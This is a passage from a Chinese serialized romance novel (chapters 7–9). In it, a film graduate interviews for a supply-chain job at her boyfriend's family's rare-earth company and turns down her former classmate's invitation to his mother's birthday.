前面看不到头,后面也看不到头,只有此起彼伏的鸣笛声。
庾倩倩坐在驾驶位上,不是着急归家的人。
隔着前车窗,她遥遥盯着夕阳下坠,远处的江面上铺着一层碎金似的光,随着水波微微晃荡,似无尽涟漪着入她的眼眸里。
如果爸爸还在,她会更好吗?
也许不会。
再者,没有那场车祸,她也不会遇见谢孟渊。
7. 第 7 章
终于快回到公寓。
经过一个十字路口,庾倩倩等红绿灯,正对面商场的大LED屏正播放着一个新上映电影的预告片。
等红绿灯的间隙,她看完了整个预告。
是个讲祖孙亲情的文艺片。
绿灯亮了,后面的车按了一下喇叭,她没有往前开,而是打了一把方向,把车直接开到了商场的负一楼。
庾倩倩坐在车上,低头用手机买了张四十分钟后播放的票。
显然这个电影很冷门,场次零星,选座位图上被预定的红位极少,庾倩倩选了第四排最中间的位置。
上楼先去吃完饭,时间差不多了,才坐电梯去了顶楼的电影院。
今天周四,又是这个下班时间点,照理来说电影院人应该挺多的。
一路走过来,商超和电影院门口人流都不算大。
柜台前只有两个人在买爆米花,取票机不用排队,检票口的工作人员站着发呆。
可见实体经济确实凋零得厉害,电影院门可罗雀。
她验票进影厅,找位置坐下来。
影厅里稀稀拉拉坐了几个人,都在各自的位置上低头看手机。
庾倩倩把手机调成静音,翻过来扣在扶手上,靠着椅背,专心致志等着电影开始。
无聊的时候就会一个人去电影院看电影,在伦敦的时候就是如此。
其实她没什么特别的兴趣爱好,不太爱买奢侈品,也不太爱旅游,更不爱那些所谓的上流活动——打高尔夫、网球、马术、下午茶。
大部分时间她需要用来安排谢孟渊的琐事,剩下的时间她自己呆着。
相比于跟很多人在一起应酬,或者逛街购物,她更喜欢一个人待在黑暗的电影院里,被银幕上的故事带走,短暂地忘掉自己是谁。
这也是她当时选了导演系的原因之一。
电影开场了,色调很暗。
谢孟渊不喜欢沉闷冗长的文艺电影,喜欢强剧情的悬疑类型或现实主义题材。
庾倩倩会陪他看,因知道他不喜欢,没有让他陪她看过。
今天这个影厅人不多,中间却夹杂着吃爆米花的咔嚓声和窃窃私语,后排有一对情侣始终在低声说话,中途还有一两个人直接走了。
直到电影散场,出现幕后职员表缓缓向上滚动的黑幕,影厅的灯亮起来,庾倩倩拿起手机,这才发现谢孟渊给她发了一条微信。
内容很简单:你在哪?
时间是晚上八点二十分。
现在已经九点半了。
他今天这么早回来?
庾倩倩有些意外,快速回复:在电影院,马上回去。
她拎起包,收起手机,快步走出商场,开车回到了公寓。
到了公寓,她开门进去,率先看了一眼。
办公室的门虚掩着,暖黄色的灯光从门缝里漏出来。显而易见,谢孟渊在他的办公室里。
庾倩倩把包放进衣帽间,走过去敲了敲门。
“进。”
她半靠在门框上,歪着头看他:“你今天这么早回来?”
谢孟渊点头,目光还落在电脑屏幕上,手指敲着键盘:“没什么事,就早点回来了。看到合适的房子了吗?”
庾倩倩笑着说:“没看到合适的。”
“没关系,慢慢看。”谢孟渊淡淡应了一声,“老人的房子需要慢慢挑。”
庾倩倩听出来,谢孟渊是以为她给她妈妈买房子吗?
她没有戳破这件事。
庾倩倩转身去了吧台,洗了手,从冰箱里拿出当季的水果——几个水蜜桃和一小串葡萄。
她仔细地把葡萄一颗一颗摘下来,用苏打水洗了两遍,清水又过了两遍,桃子削了皮切成小块,码在玻璃碗里。
稍后,她端着玻璃碗推门进去,轻轻放在谢孟渊书桌的右上角——那个位置是他习惯放杯子的地方,抬手就能够到,不会碰到文件。
谢孟渊盯着屏幕,并未分神:“谢谢。”
庾倩倩故意调侃式地说:“不客气!”
屏幕光照亮,谢孟渊唇角微微弯了下,庾倩倩也没太在意,转身离去。
她坐在沙发上,打开豆瓣,翻看那部电影的影评。
口碑还不错,评分在七点五分以上。
只不过太小众了,到现在才一千多个人评价,肉眼可见的票房扑街,听说导演投资了四千多万?
现在再去做导演,是不是四九年入国军?
以前报专业的时候以为国外的专业含金量更高,毕竟以前都是看豆瓣Top100电影大部分都是国外的,电影史也是国外导演居多。
回国后才发现如果真的想走着这条路,最好要读国内的大学——因为这行新人入门与其靠学历,不如说更靠老师和同学互相介绍,尤其老师的资源非常重要。
庾倩倩从国外回来,毕业也拍过一些习作,但跟国内的拍摄方式、行业规则都不一样。
没什么关系,只能从最基础的场记、助理做起,投资人的钱也不是大风刮来直接就给你试。
不想熬资历,另一条路径就是自己拍作品去投奖,但……
庾倩倩自认没有到才华横溢的地步。
想了想,还是暂时放下了这个念头。
学历是敲门砖,有学历相关工作之后倒还可以试。
杜尚这种跟AI相关、正值飞速发展的大公司能不限专业进去的机会反而更难得一些。
庾倩倩走进卧室,拿出自己的笔记本电脑,坐在沙发上修改简历。
删删改改,把昨天觉得不妥的地方重新润色了一遍,确认没有什么问题后,发送到了谢孟渊的邮箱里。
发送完毕,她看了一眼时间,十点了。
收拾收拾去洗澡。
洗完澡出来,吹干头发,躺在床上,又开始搜小红书上的装修案例。
没多久,谢孟渊洗完澡穿着浴袍从外面走进来。
也不是每天都要她伺候他的。
“收到你的简历了。”
庾倩倩微微撑着坐起身来,问:“怎么样?”
“没什么大问题,我已经转发给人事了。”谢孟渊掀开床褥,坐在她身边,侧过头看她,“你对供应链这个岗位感兴趣吗?”
庾倩倩有些意外:“我不知道是做什么的。”
谢孟渊用尽量简单的话解释:“类似于公司的中转站。如果客户下了订单,我们要根据这个订单来安排工厂生产。那么就需要确定进多少原料、哪个厂生产、工期是多久。包括整个调度,以及所有厂和市场那边的消息汇总——相当于一个中枢。”
“听起来是个蛮重要的岗位。”庾倩倩沉吟。
谢孟渊转过头看她:“供应链现在是我的直属部门。前期不会有什么太难的内容,主要做资料的收集、汇总,以及了解整个公司的工艺流程。如果你能把供应链这块所有的东西搞清楚,那么基本整个公司你就能了解了。”
庾倩倩听出了几层意思。
谢孟渊的父亲谢守礼是公司的掌舵人,把谢孟渊放在供应链部门,是为了让他从最基础、核心的业务板块开始学习。
谢孟渊现在自己也还在学习阶段,把她安排到他手下,也是让她跟着学。
再者,这个岗位像个“中转站”,生产和市场那边都要流经,谢孟渊把自己也安插进去,是否也有一层安插他自己人的打算?
她想了想,说:“我先了解一下工作职责。”
谢孟渊微微一笑:“好。”
第二天,谢孟渊去上班。
庾倩倩独自待在家里,抱着笔记本电脑窝在沙发上,搜关于供应链岗位的资料。
小红书上说什么的都有。
有人说这是典型的“牛马工作”,加班多、责任大、工资涨幅慢,干三年能老五岁。
又有人说发展空间很大,大公司很缺这方面的人才,干好了能往管理层走,是少数几个不容易被AI替代的岗位。
关掉一个页面,又打开另一个。
微信滴了一下。
好友添加申请:庾小姐,我是林橙。麻烦开一下门。
庾倩倩之前跟谢孟渊的生活助理特地提过,说林橙很好。那边大概就安排了让林橙固定负责这边的清洁,以后不再换人了。
之前都是通过助理来协调时间,中间隔了一道,估计林橙也觉得不方便,便主动来加她微信。
庾倩倩点了通过,切到智能家居APP,远程给楼下的门禁开了锁。
不过她今天事情有点多,低头继续查阅资料,没顾上别的。
林橙来了,她见庾倩倩盘腿坐在沙发上,笔记本电脑的屏幕亮着,像是在忙什么正经事,便没有出声打扰。
她从包里掏出鞋套套上,又戴上橡胶手套。
她是大学生,比一般的家政更有素质,知道不该去探听雇主家的私事。
只不过,还是会有些好奇。
最开始她以为庾倩倩要么是个小明星,要么是个网红。
可庾倩倩说她不是,后来林橙上网搜过,确实也没找到庾倩倩的欣喜。
再者,上次打扫她就发现了——家里有男人的痕迹。显而易见,她跟人同居。
同居也没什么,现在这个年代太正常了。
只不过她来了两次,都是工作日,从没见过那个男人。
只见到庾倩倩一个人,庾倩倩是自由职业者?不用出去上班?
林橙一边擦着客厅的茶几,一边好奇。
十点整,庾倩倩的手机响了。
她接起来:“喂,你好。”
那边说了一句什么,她站起身,从沙发走到落地窗前,背对着客厅站定,声音比平时正式了些:“方便。”
沉默了几秒,大概是那边在问什么问题。
“对,今年刚毕业。”庾倩倩的声音不大,“伦敦国王学院,艺术与人文学院,FilmStudies专业。本科学历。本地人,刚刚回国。”
又是一阵沉默。
“了解了一些。”她说,“杜尚是一家以稀土新材料为主营业务的上市公司,产品应用于半导体、新能源、航空航天等领域。公司在国内稀土行业中处于领先地位。”
庾倩倩又停了一会儿,大概那边在介绍什么。
“所以我不用参加笔试了,是这意思吗?”
那边像是给出了肯定的答复。
“下周二上午十点。”庾倩倩像是确认日程,“可以。我需要带什么资料?……学历证明、身份证复印件、简历……我待会看一下邮件。”
她听完对方的交代,最后说了一句:“好,明天
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见。”
电话挂断了。
林橙低下头,把抹布翻了个面,继续擦桌子。电话挂断了。
家政服务两个半小时结束。
林橙打扫完,拎着工具走到门口,摘下鞋套和手套。
庾倩倩朝她说了一声:“辛苦了。”
林橙笑笑:“没事。”
林橙显得很开心,眉眼弯弯的:“那我先走了,下次见,庾小姐。”
“下次见。”
顿了顿,林橙到底没忍住说:“庾小姐,你要找工作吗?我有个师兄在杜尚那里,要不要帮你问问面试经验?”
理论上她不应该太多管闲事,可也许庾倩倩给她印象很好,又听见她打电话原来也是刚毕业应届生,便想帮帮忙。
庾倩倩笑笑说:“不用。”
“哦。”林橙点点头,“那我就不打扰了。”
门关上了。
这女孩心蛮好。庾倩倩点进林橙的微信头像看了一眼——是一个大橙子的卡通图片,圆滚滚的,戴着墨镜,还挺可爱。昵称叫做“一亿颗大橙子”。
庾倩倩突然想起来。
林橙说过,程嘉良是她们院的学生会主席。
庾倩倩盯着那个头像看了几秒,还是按灭手机,没有点进她的朋友圈。
庾倩倩给自己叫个外卖,下午继续搜索“供应链管理岗位职责”,一条一条地看下去。
需求预测、采购计划、库存管理、物流协调、生产调度——每一个词她都认识,但组合在一起,就是一个她完全陌生的世界。
不知不觉,暮色沉了下来。
她拿起手机,下意识看一眼时间,下午六点十七分。
滑开屏幕,微信界面还停留在之前加林橙的那个页面。
《恋爱的犀牛》里说:黄昏是我一天中视力最差的时候。
也许这个时候,她会允许情绪驱动。
她滑动屏幕,点进了林橙的朋友圈。
林橙的朋友圈大部分是她和她宿舍闺蜜的合照。几个女孩挤在一起,比着剪刀手,笑得很开很亮。还有吃饭的照片、图书馆的照片、操场上跑步的照片。看起来非常开朗可爱。
然后,翻到了去年六月份。
有一张照片,看背景大概是在爬山。
石头台阶,绿色的树荫,阳光从树叶缝隙里漏下来,程嘉良站在一棵树的旁边,逆着光,整个人被笼在一层淡淡的光晕里。
他穿着白色短袖T恤,很普通,没什么图案。
衣料被山风吹得微微贴在身上,勾勒出少年人清瘦却结实的轮廓。
他侧过头看向镜头,不是那种刻意的、准备好了的看,而是下意识转头的那一瞬——半张脸被光照亮,半张脸落在阴影里。
眉骨窝落下浅浅的影子。
庾倩倩放大照片,程嘉良的脸在屏幕里变得清晰了一些,稍微有些模糊,可那双眼睛——
即便是在照片里,那双淡灰色的眼睛也透得很,像是临着石头,倒着天空阴影和深一层石影的雨后水潭。
程嘉良气质很温和,唯独那双眼睛有一种“静”感,给他加了一点克制和疏离。
林橙的朋友圈文案只有两个字:
男神!!!!
真是简单直白。
昨天刘芳问她是不是跟程嘉良谈过恋爱。
她说没有。
她没有撒谎。确实没有跟程嘉良谈过恋爱。
虽然程嘉良穷,但他长得好看、学习好、性格好。
这样的男生在班上是不可能不受欢迎的。
班上大半女生都暗恋他。
她知道,即便在大学,他也应该会过得很好。
也会有很多女生喜欢他,老师喜欢他,朋友喜欢他。
庾倩倩没有再继续翻下去,退出朋友圈。
起身去吧台给自己倒了一杯冰水喝。
凉水缓缓入喉。
她有时候想,这个世界上会不会有第二个人像她这样——并不打算接近程嘉良,连碰见他还想着逃。
可偶尔会有一种极其强烈的、近乎自虐的冲动,想知道他过得如何。
隔很久很久,她偶尔会打开搜索框,打下他的名字。手指悬在屏幕上方,如同悬在刀片上,屏住呼吸。
自虐般地最后按下搜索。
他的信息总是很少。
奖学金公示名单,竞赛获奖名单,学生会换届的新闻稿……
她还会幻想他过得很好,非常好。
幻想他因为勤奋而得到嘉奖,因努力而受到赞扬,幻想他转瞬之间就成为专业的翘楚,导师器重。
幻想他因为聪明踏实,大学一毕业就拿到最好的offer,获得世俗意义上的成功,让那些曾经看不起他出身的人都闭上嘴。
幻想他因为这些美好的品质,谈到一个特别好的女朋友——温柔的、懂事的、不嫌弃他家的女孩,两个人站在一起,配得像杂志封面。
幻想他过上幸福美满又快乐的生活,像童话里的故事结局——一个认真勤勉刻苦正直的人值得得到这些。
她希望这是真的。
她真的希望。
可偶尔,在更深的、她不愿意承认的角落里,她又希望他过得……坏。
最好——
比不上她。
8. 第 8 章
接下来,庾倩倩都在认真准备面试。
她上网搜了大量的面试经验帖,笔记本上密密麻麻地记了好几页——公司的历史沿革、主营业务、组织架构、近三年的营收数据,甚至连竞争对手的名字都背了一遍。
可越准备,越觉得底气不足。
她不是学化学的,不是学材料的,也不是学供应链管理的。她是个学电影的。
谢孟渊早出晚归,他自己也很忙,庾倩倩没有让他帮忙参考如何面试。
她心里有一条清晰他们关系的界线。
比如,庾倩倩如果真的想做导演方面的工作,可以试着让谢孟渊介绍资源。
再譬如她买房这件事,也完全可以让他帮忙。
但一来,娱乐圈和房地产都不是谢家的主业,他未必有现成的人脉;
二来,在她的认知里,他们并不是完全平等、可以互帮互助的男女朋友关系。
一些小事,比如挡酒、比如陪他出席应酬、比如在他累的时候揉揉太阳穴——这些是他们之间的“情趣”,是关系的一部分。
可如果涉及到真正生活上的大事,庾倩倩会很谨慎。
自己能处理的事,没有必要,她不会让他帮忙。
就这样到了周二。
杜尚新材料公司总部位于市区东部的一栋摩天大楼里。
公司发家于稀土行业,如今在全国已经有六七十家工厂,主要分布在江西、山东那些矿产资源丰富的地方。
大楼高耸入云,外立面是深蓝色的玻璃幕墙,在阳光下反射着冷冽的光,整栋楼像一位穿着铠甲的将军。
面前的广场上,大约有三十多平的喷泉喷着大量的水雾,旁边竖着极高的旗杆,五星红旗在顶端猎猎作响。
庾倩倩走进大厅,冷气扑面而来。
一楼的接待大厅挑高足有两层,地面铺着深灰色的大理石,光可鉴人。
前台设在大厅中央,弧形的服务台后面坐着两个穿制服的姑娘。
整栋大楼有四十多层,杜尚新材料公司占了其中的七、八、九三层。
上下左右都是其他公司,有互联网巨头,有金融公司,庾倩倩直接坐电梯到了七楼。
电梯门一开,正面就是一个前台。
背景墙上镶着“杜尚新材料”五个大字,银灰色的金属质感。
旁边还竖着几块立牌,写着公司旗下的一些子公司和合资企业的名字,甚至还有一家挂着“中核”字样的能源公司。
她走进去时,前台已经站着一个人,穿着衬衫西裤,手里拿着文件袋,正在跟前台说话:“你好,我是来面试的。”
前台小姐姐二十出头的样子,她扫了一眼刚走进来的庾倩倩:“你也是吗?”
庾倩倩点点头:“是。”
前台没有多问,像是在电脑上发了一条消息。
不多久,一个短发利落的高个女生从侧面走出来。她穿着一件修身的白衬衫,灰七分裤,脚踩低跟皮鞋,走路带风,看起来比前台成熟不少。
“你们跟我来吧。”
庾倩倩跟在她身后,穿过一条走廊。
走廊一侧是整面的玻璃墙,里面是公司的开间办公区——大小不一的隔间,一排排的工位,有人对着电脑屏幕皱眉打字,有人歪着头夹着电话在说些什么,桌上堆着文件和水杯,偶尔有人抬起头看了一眼窗外,又很快低下去。
经过走廊,带路的小姐姐把他们领到一间会议室门口,推开门,侧身让他们进去。
会议室很大。
正中央是一张巨大的长条环形桌子,深棕色的木质桌面。四角摆放着几盆绿植,叶片肥厚,绿得发亮。
里面已经坐了将近二十个人。
全都穿着衬衫,男生短发,女生扎着马尾,大部分人看起来都是刚毕业的学生。
有些人正襟危坐,一声不吭,双手规规矩矩地放在膝盖上。有些人低头反复查看自己的简历。还有几个人在悄悄地打量着彼此。
“你们先在这里休息一会儿,”小姐姐和气地说,“待会儿会叫你们。里面有水、咖啡和甜点,可以自取。”
庾倩倩点点头:“谢谢。”
她找了个空位坐下来,环顾四周。
空调呼呼地吹着冷风,时间忽然变得很漫长。
直到对面磨砂玻璃门被人从里面推开,一个穿深色西装的男生走出来,手里攥着简历,脚步很快地朝电梯方向走去,她才意识到——这间等候室里的人并不是全部,已经有人在面试了。
HR小姐姐走进来,手里拿着一份名单,开始叫人。
被叫到名字的人站起来,深吸一口气,或者抿一下嘴唇,拿着简历走进对面的会议室。
面试时间大约十分钟到二十分钟不等。
出来后的人基本都直接离开了,偶尔有几个折返回来拿落下的包。
旁边的女生用聊天缓解压力似的:“好紧张啊。你什么大学哪个专业的啊?”
庾倩倩低头,见她手里拿着一份简历,封面朝上,字大行稀——华中科技大学,材料科学与工程,本硕连读。
庾倩倩没吭声。
幸好,下一个轮到这女生了,女生紧张地抿了口纸杯里的水,跟着HR小姐姐前去。
庾倩倩隔着那扇晕着光影的磨砂玻璃墙,看见会议室隔壁有一个大约五六十平的露天阳台。阳台上摆满了花花草草,正值初夏,开得热烈。
几张白色的小圆桌和藤编椅子散落其间,阳光从玻璃门涌进来。
庾倩倩盯着那片阳台发呆。
“庾倩倩小姐。”
她抬起头。
“跟我来吧。”
庾倩倩站起来,拿着简历,跟着HR走出等候间。
HR推开会议室的门,侧身让她进去。
庾倩倩走进去。
长条形的会议桌对面,坐了六个人,全都是中年男性。
每个人都穿着正装,面前放着名牌——副总经理、市场部总监、生产部主管、供应链总监、技术部顾问、人事总监。
坐在最中间的是一个戴方框眼镜的中年人,往后靠在椅子上,双手交叉放在腿上,有些休闲的样子。
身材微胖,头发花白,面容不算严肃,显然是中心。
庾倩倩在他们对面坐下,HR小姐姐一一上前给面试官发放庾倩倩简历。
“请先自我介绍。”开口的是坐在最右边的中年男性。
干瘦,头发梳得一丝不苟,戴着金丝边眼镜,看起来温文尔雅,嘴角始终挂着一丝礼貌的微笑。
名牌的职位是:孙明,人事总监。
“各位面试官好,我叫庾倩倩,今年二十二岁,毕业于伦敦国王学院,FilmStudiesBA专业,本科学历。本地人,今年刚回国。”
“好的。”那位叫孙明的人事总监,“庾小姐,我们来做一个情景模拟。假设你是我们供应链部门的一员,有一天,工厂突然报告说一批关键原材料的交货要延迟两周,但客户那边已经答应了交货时间,对方的生产线不能停。这个时候,你会怎么处理?”
“首先,”庾倩倩稍微思考了一下,语速不快,尽量让自己显得有条理,“我会先跟工厂确认延迟的具体原因——是原材料供应商的问题,还是我们内部的生产排期问题。如果是供应商的原因,我会同步联系采购部门,看是否有备选供应商可以在短期内补上缺口。如果是内部问题,我会评估延迟的天数对客户的影响程度,然后跟销售部门沟通,看是否可以跟客户协商分批交货——先交一部分满足对方的生产需求,剩下的在延迟期限内补上。”
她顿了顿,又补充了一句:“同时,我会把这个情况同步给相关部门的负责人,确保信息透明,避免因为信息不对称造成更大的损失。”
孙明听完,没有说好,也没有说不好,只是点了点头,在笔记本上写了几个字。
孙明左侧的男人接过话头,语气温和:“你是伦敦国王学院毕业的?导演专业。”
“是。”庾倩倩打量了下他的名牌,供应链总监,意味着自己以后的直属上司?
“为什么会想到来我们公司?”
“有两个原因。第一,我高中的时候理科成绩其实不错,虽然大学选择了艺术方向,但对科技行业一直很感兴趣。尤其是AI这一波浪潮,让我觉得新材料和半导体是整个产业链的基础,我想了解这个行业是怎么运作的。第二,我认为我的专业背景并不完全是劣势。导演的训练让我擅长讲故事、梳理复杂信息、以及在多线程任务中保持清晰的思路。这些能力在供应链管理这个岗位上,我相信是有价值的。”
最左边的男人——生产部主管——开口了。
“庾小姐,你的专业和我们的行业确实不太搭。你觉得你能胜任这个岗位吗?”
“我愿意从零开始学。”庾倩倩说,“我相信学习能力比现有的知识储备更重要。”
“我们公司现在还在发展期,工作并不轻松。经常要跑工厂、去矿区、跟客户应酬,环境很艰苦。庾小姐,你这么年轻漂亮,能吃得下这个苦吗?我翻了下简历,没有你的笔试情况。你的笔试成绩是多少?”
庾倩倩抿抿唇。
这时候,人事总监孙明低声回答:“刘总,她没有参加笔试。”
庾倩倩刚要回答,会议室的门突然被敲了两下。
HR小姐姐推开门,侧身站到一旁。
所有人都转过头去。
人事总监第一个反应过来:“谢总。”
谢孟渊从门口走进来。
他没有穿西装外套,只一件深灰色的衬衫,脸上没什么表情,眉眼间带着一种平静的冷淡。
他没有看庾倩倩,而是径自走到会议桌旁边,拉开一把空椅子,坐下来,随后,拿起桌上的简历,翻了两页。
“我来看看面试情况。”谢孟渊低头仔细翻看简历,语气平常,“继续。”
空气像被抽走了一层。
会议室里的气氛明显变了。
供应链总监看了看谢临渊,斟酌了一下措辞:“庾小姐,假设你入职之后,你的直属领导给你安排了一项任务,要求你三天之内完成。但这项任务需要跨部门协调,而分管副总刚好对这个项目有自己的想法,他口头指示你按照另一套方案来执行,并且希望你尽快推进。两位领导的意见不一致,而任务期限在即。这种情况下,你会怎么处理?””
庾倩倩没有急着回答。她垂下眼,认真思考片刻。
“首先,我会先把自己手里能做的事往前推——比如收集数据、梳理流程、确认关键节点。不管最终采用哪套方案,这些基础工作都是共通的,不会浪费时间。”顿了顿,庾倩倩接着说,“然后跟直属领导汇报一声,说副总那边也有安排,请他帮我协调一下优先级。”
谢孟渊低头翻着简历,指尖停在某一页上,唇角无声地勾了一下。
……庾倩倩很圆滑。而供应链这个岗位,除了认真负责,恰好就需要圆滑的人。
对上对下,对内对外,四面八方全是利益交错。
供应链不是技术岗,不需要太高门槛。工厂里的流程都是固定的,真要学,几个月就能上手。
相比于过于按规矩的愣头青,庾倩倩的性格确实合适。
供应链总监靠在椅背:“我没什么问题了。”
意思很清楚——他认可。
部门老大都松了口,其他人更不好说什么。
人事总监孙明说:“各位领导还有什么问题问吗?”
最中间那个始终没开口的中年男性,终于从椅背上坐正,像是在她的简历上划了一道勾,回答:“没有。”
“好。”人事总监孙明点点头,“那面试就到这里。庾小姐,我们会尽快通知你结果。”
庾倩倩站起来时,才假装无意地扫了眼谢孟渊,微微鞠了一躬:“谢谢各位。”
庾倩倩站在电梯口等电梯,仔细回想刚刚面试时的暗流涌动。
电梯到了。
她刚要进去,手机震了一下,新微信。
谢孟渊:一楼等我,一起吃午饭。
庾倩倩:好。
庾倩倩在一楼的休息区找了个位置坐下来等。落地窗外是城市的全景,高楼林立,车流如织。
大约等了二十分钟,谢孟渊从电梯里走出来。手里拿着手机,一边走一边在看什么。看见她,收起手机,朝她走过来,唇角含笑。
“面试得很好。”谢孟渊语气里带着一种不加掩饰的赞赏,“比我预想中好很多。”
庾倩倩莞尔一笑:“没给你丢脸就行。”
“我知道附近有一
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家不错的餐厅,带你去试试。”
两个人再次坐电梯去负一楼,坐谢孟渊的车过去。
这会儿正值午饭高峰,负一楼电梯口陆陆续续涌出很多人,不少人朝他们的车投来目光——有的只是不经意扫过,有的多看了两眼。
餐厅是家苏州菜,藏在一条安静的巷子里,门面不大,谢孟渊订了一个包间。
包间不大,但布置得很精致。
圆桌中间是一个转盘,转盘上摆着一盆微型假山,山石间有水流潺潺,旁边养着几尾红色的小金鱼,慢悠悠地在巴掌大的水池里转圈。墙上挂着一幅水墨山水画,远山近水,一叶扁舟。
两个人面对面坐下。
庾倩倩给他和自己各倒了一杯茶,端起茶杯抿了一口,想了想,还是问了出来。
“你这样不怕落人口实吗?”
“怎么?”谢孟渊微微扯开领带,松了松领口。
“刚刚我们一块出来,很多人看见了。”
谢孟渊看了她一眼:“自从我把你的简历推给人事总监,我们的关系所有人都心知肚明。你是我这边的人,藏不住的。”
菜陆陆续续端上来了。清炒虾仁,松鼠鳜鱼,莼菜银鱼羹,还有一碟桂花糖藕。
谢孟渊拿起筷子,夹了一块糖藕放在庾倩倩碗里。
“假如你有一个朋友,他想要找工作,而你正好在公司里看到一个岗位,这个岗位对能力的要求不高,你知道你这个朋友完全能够胜任,只是学历差一点。如果你能帮他进来,你会不会帮他?”
庾倩倩沉吟了下:“会。”
“法理不外乎人情。公司也是这样。”
“但这样容易产生派系吧?”
谢孟渊笑了一下:“你这是学生气的想法。越是大公司越是派系难免。你看国外的那些巨头,苹果也好,国内的阿里巴巴也好,内部派系斗争都很严重。”
“我父亲跟我舅公,还有熊总,三个人一块儿开公司。工厂都是体力活,谁都能做。我舅公是个老好人,就让很多亲戚朋友进来做事。大家有份工作就行了。他们在厂里待了十几年、二十几年,才慢慢有了资历,被提起来。”
庾倩倩听着,没有插话。
“其实对于普通员工来说,他们不太关心派系,只关心工资和福利。”谢孟渊夹了块虾仁,“只不过他们是我舅公招进来的,自然就成了他那边的人。水至清则无鱼。只要不损害公司利益,自己能胜任工作,就没必要深究。因为人家是某个派系就排斥对方的能力,反而是偏见。”
“结党营私,损害公司利益。这个必须杜绝。但在别的两家都搞派系的时候,自以为清白正义、独善其身,是愚蠢。只会被人掣肘。派系之间形成动态平衡,反而更好。当然派系斗争过强,便容易决策中庸、行动迟缓。这时候便需要一个人,撇开成见,一锤定音。如苹果的乔布斯。”
庾倩倩咬了一口糖藕。糯米的软糯和桂花的甜香在嘴里化开。
他们在伦敦一起待了三年。她知道他几乎所有的行程。他们一块儿回国,他也只比她早工作几周而已。
可此刻坐在对面谈论公司治理的谢孟渊,一瞬之间就成了成熟的职场人。
“你不用担心。”谢孟渊的声音把她拉回来,“你刚进去,前三个月都是学习期。如果他们让你去工厂,你就去跟着看看流程。如果他们让你整理资料,你就整理。前期不需要做太多实事,主要是了解情况。”
庾倩倩点点头。
“如果你实在适应不了,”他说,语气比刚才轻了一些,“我帮你调岗。有我在,不用担心。”
话都说到这份上了。
庾倩倩点了点头:“好。”
下周一的早上,庾倩倩正在客厅里喝咖啡,手机响了。是杜尚人事部的邮件。
邮件上写着——她已经通过了公司的面试。试用期三个月,起薪一万五千元每月。入职即缴纳社保,转正后有绩效和提成,十三薪,年终奖,各种员工福利一应俱全。
庾倩倩把邮件看了两遍。
一万五。比她想的高。她之前查过本地的薪资水平,高学历应届毕业生平均也就七八千,杜尚给的这个数字,在同行业里算很有竞争力的了。
可她还是犹豫了几秒。
她并不认为自己做不了——流程性的东西,真上手了,不难。
她直觉自己不喜欢。
也不喜欢“派系”和“站队”,公司肉眼可见的复杂。
可高速发展的上市公司,核心部门,起薪高。这种机会,不是每个人都能有的。
庾倩倩没有立刻回复邮件,即便她知道自己大概率会答应。
她关了邮件页面,切回微信。
一条红色的好友申请躺在那里。
申请人的名字是:程嘉良。
头像是一把长黑雨伞。没有签名,朋友圈封面也是默认的灰色。
申请理由那一栏,只写了三个字:程嘉良。
他怎么会有她的微信?
谁推给他的?刘芳?还是林橙?
庾倩倩盯着那个名字,犹豫了很久,没有点“通过”。
她在申请消息的回复框里打字:有什么事?
发送。
那边没有立刻回复。
她等了一会儿,把手机扣在桌上,又拿起来,又扣下去。
过了大约半个小时,消息弹出来。
程嘉良:我妈五十大寿,希望你能来。
原来是这件事。大概因为她上次送了礼,张阿姨记在心里,特地让儿子来邀请她。
庾倩倩点了“通过”,在输入框里打字:不好意思,我最近马上要上班了,可能没有时间。
手指悬在发送键上。
刘芳前几天在饭桌上言之凿凿地说过:“张阿姨五十大寿,你看村里几个人会去。”
庾倩倩改:好,什么时候?
依然没有发送出去。
需要去吗……其实多一个人少一个人,好像不会影响什么。
而且她确实要准备上班。
这些都不重要。
她不想见程嘉良。
她享受那种自虐,却讨厌面对面无法控制的心慌和局促,更厌恶自己见到他的自惭形愧。
庾倩倩最终回复:不好意思,我去不了。
9. 第 9 章
庾倩倩知道张阿姨应该希望她过去的。
张阿姨以前就对她很好——两家离得近,刘芳偶尔有事,没人做饭的时候,张阿姨会邀请庾倩倩去她家里吃。
可她因为害怕见到程嘉良时内心的窘迫,所以不肯去。
那边迟迟没有回复。
庾倩倩等了一会儿,手指在咖啡冰杯上轻轻地敲了两下。
过了整整三分钟,程嘉良才回复。
很简单的一个字:好。
庾倩倩盯着这个字几秒,她双手捧着手机,快速打下一行字:帮我恭喜张阿姨五十大寿。
程嘉良回复:谢谢。
对话到这已经算是结束。
庾倩倩看了会儿,放下手机,又喝了一口咖啡。
她走到沙发上坐着,手机叮咚一声,来了微信。
庾倩倩拿起来。
这次不是程嘉良。
而是刘芳。
一条将近四十多秒的语音。
庾倩倩点开,刘芳的声音从听筒里传出来,背景里还夹杂着麻将碰撞的声响。
“我今天在村里碰到了村长呀,他也在那个小区买房,有两套呢。他说他儿子那个房子也不想要呢,正待算卖了。也没住几年,还是全新的,听到我们想买,他说可以便宜点卖给我们。你觉得怎么样啊?要不要找机会去看一看呀?”
庾倩倩听完,吐出一口气,直接把手机扔在沙发上。
可想而知,才隔了几天,刘芳肯定又把她要买房这件事传得到处都是,别人才会主动找她。
她说了多少次,不要到处说,不要逢人就讲。
可刘芳就是管不住那张嘴。
她的女儿要买房了,在市中心,全款——这话说出去多有面子啊,她怎么忍得住不炫耀?
庾倩倩直接横躺在沙发上,手背搭在额头上,遮住眼睛。
巨大落地窗外的天色渐渐暗下来,城市的灯火一盏一盏亮起来。
庾倩倩不喜欢拉窗帘。喜欢天光透进屋子,从亮到暗,一点一点地沉下去。
这可能是她在乡下养成的习惯——在村里的时候,她的房间窗户朝西,傍晚阳光从窗棂里照进来,把整个房间染成橙色。她坐在那道光里写作业,等天黑。
也许对很多人来说,村里的老家意味着田野、乡间、温暖的人情、平和的安静。
是夏日傍晚坐在院子里摇着蒲扇乘凉,是邻里之间端一碗菜串门的亲切。
但对于庾倩倩来说,不是这样的。
它充满着一个青春期少女难以言说的贫穷、羞辱和难堪。
村里太小了,一点风吹草动就引人注意。
谁家买了新房新车,谁家的孩子考了第一名,谁家的男人在外面有了女人——不出半天,整个村都知道了。
庾倩倩记得很清楚。有一次她在村口跟一个男生并排走过,两人只是碰巧同路,连话都没说几句。
第二天,刘芳就一边切菜一边打探:“村里人都说你跟一个男生走在一起,你是不是谈朋友了?”
庾倩倩极其厌烦!
只要她跟任何一个同龄男生稍微走近一点,都会有人说她谈恋爱了。说得有鼻子有眼,栩栩如生。
好像她们眼里男女除了谈恋爱就没有别的。
他们家本来就是别人的八卦中心。
她名义上的父亲庾长根是个混球。
